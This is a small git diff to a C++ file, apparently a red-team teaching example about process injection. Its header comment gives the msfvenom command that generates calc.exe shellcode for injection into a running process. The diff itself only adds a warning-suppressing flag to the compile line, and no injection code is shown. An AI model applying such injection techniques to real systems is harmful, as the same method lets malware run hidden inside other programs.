diff --git a/injection-example-1.cpp b/injection-example-1.cpp
index 367e739..aecbe71 100644
--- a/injection-example-1.cpp
+++ b/injection-example-1.cpp
@@ -1,7 +1,7 @@
 /*
 * Process injection example 1: injecting calc.exe msfvenom shellcode into the running process
 * shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread
-* compile: cl.exe injection-example-1.cpp
+* compile: cl.exe injection-example-1.cpp /W0
 */
 #include <windows.h>
 #include <stdio.h>